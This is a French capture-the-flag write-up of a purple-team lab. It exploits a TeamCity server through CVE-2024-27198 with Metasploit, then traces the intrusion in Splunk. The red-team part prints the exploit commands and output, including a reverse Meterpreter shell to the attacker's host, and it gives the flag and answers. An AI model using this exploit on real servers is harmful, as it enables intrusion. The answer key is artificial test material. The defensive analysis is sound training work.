CTF

TryHackMe - Brains

Challenge Purple Team : exploitation d'un serveur puis investigation Splunk pour retracer l'attaquant.

10 janvier 2026
TryHackMe
SplunkPurple TeamForensicsTeamCityCVE-2024-27198Metasploit

Introduction

Brains est une room Purple Team qui combine exploitation et investigation. On compromet d'abord un serveur TeamCity vulnérable, puis on analyse les traces laissées par l'attaquant dans Splunk.

Scénario : Une ville a oublié de fermer ses portes... des intrus se sont introduits.

Outils utilisés : Nmap, Metasploit, Splunk


Part 1 : Red Team - Exploitation

Reconnaissance

Scan Nmap agressif pour énumérer les services :

nmap -sV -sC -A

Résultats Nmap
Résultats Nmap

Services découverts :

PortServiceVersion
22SSHOpenSSH 8.2p1 (Ubuntu)
80HTTPApache/2.4.41 - "Maintenance"
50000HTTPTeamCity

Énumération Web

Le port 80 affiche une simple page de maintenance, rien d'intéressant.

Le port 50000 révèle une interface TeamCity avec une page de login.

Interface TeamCity
Interface TeamCity

Identification de la vulnérabilité

L'interface affiche TeamCity 2023.11.3. En recherchant cette version, je trouve CVE-2024-27198 : une vulnérabilité d'authentication bypass menant à une RCE non authentifiée.

Exploitation avec Metasploit

msfconsole -q
use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198
set RHOST  <IP>
set RPORT 50000
run

Metasploit confirme la vulnérabilité, crée un token d'authentification, upload un plugin malveillant et ouvre une session Meterpreter :

[*] Started reverse TCP handler on 10.82.84.132:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.Ykotc2NkcHBBZFRCWlJpc3dTQ3pER0FYYXI0.OTliNmFiMjMtNGRkOS00MzUxLWI1MDQtOTkxM2NiYzllNjQ2
[*] Uploading plugin: 6BcNNIbX
[*] Sending stage (58073 bytes) to 10.82.135.82
[*] Deleting the plugin...
[+] Deleted /opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_6BcNNIbX
[+] Deleted /home/ubuntu/.BuildServer/system/caches/plugins.unpacked/6BcNNIbX
[*] Meterpreter session 2 opened (10.82.84.132:4444 -> 10.82.135.82:38812) at 2025-12-30 12:56:01 +0000
[!] Failed to list all plugins.
[!] Failed to discover enabled plugin UUID
[!] Failed to delete the plugin.
[*] Deleting the authentication token...
[!] This exploit may require manual cleanup of '/opt/teamcity/TeamCity/webapps/ROOT/plugins/6BcNNIbX' on the target

Flag User

meterpreter > cat flag.txt

flag.txt
flag.txt

Réponse : THM{faa9bac345709b6620a6200b484c7594}


Part 2 : Blue Team - Investigation Splunk

Après l'exploitation, on passe côté défense pour analyser les traces laissées par l'attaquant.

Connexion à Splunk

  • URL : http://<IP>:8000
  • Username : splunk
  • Password : analyst123

Je navigue vers Search & Reporting pour analyser les logs collectés.

Question 1 : Backdoor User

Pour trouver les créations de comptes, on doit analyser le fichier auth.log.

Requête Splunk :

source="/var/log/auth.log" useradd "new user"

Résultat montrant la création du compte
Résultat montrant la création du compte

La recherche révèle la création d'un compte backdoor.

Réponse : eviluser

Question 2 : Package malveillant

Pour identifier les packages installés, j'analyse le fichier dpkg.log en filtrant sur la date de l'attaque.

Requête Splunk :

source="/var/log/dpkg.log" date_month="july" date_mday="4" *install*

Package malveillant installé
Package malveillant installé

Un package suspect a été installé sur le serveur.

Réponse : datacollector

Question 3 : Plugin malveillant

Pour trouver le plugin uploadé pendant l'exploitation, j'analyse les logs d'activité TeamCity.

Requête Splunk :

source="/opt/teamcity/TeamCity/logs/teamcity-activities.log" *plugin*

Plugin uploadé
Plugin uploadé

Les logs révèlent le plugin uploadé par Metasploit.

Réponse : YAgxHifR.zip


Timeline de l'attaque

ÉtapeActionPreuve
1ReconnaissanceScan Nmap → TeamCity exposé
2ExploitationCVE-2024-27198 → RCE
3Plugin malveillantUpload YAgxHifR.zip
4PersistenceCréation user eviluser
5Installation toolsPackage datacollector

Mapping MITRE ATT&CK

TechniqueIDObservation
Exploit Public-Facing ApplicationT1190Exploitation TeamCity
Create AccountT1136User eviluser créé
Software Deployment ToolsT1072Package datacollector
Server Software ComponentT1505.003Plugin malveillant uploadé

Indicateurs de compromission (IOCs)

TypeValeur
CVECVE-2024-27198
Backdoor Usereviluser
Packagedatacollector
PluginYAgxHifR.zip
Port50000 (TeamCity)

Leçons apprises

Côté Red Team

  • CVE-2024-27198 permet une RCE non authentifiée

Côté Blue Team

  • Monitorer /var/log/auth.log pour les créations de comptes
  • Surveiller /var/log/dpkg.log pour les installations suspectes
  • Auditer les logs applicatifs (TeamCity, Jenkins, etc.) pour les plugins

Recommandations de remédiation

  1. Patcher TeamCity vers une version corrigée
  2. Restreindre l'accès à TeamCity au réseau interne ou via VPN uniquement.
  3. Alerter sur les créations de comptes non autorisées
  4. Monitorer les installations de packages en dehors des fenêtres de maintenance

Pratiquer sur CyberPath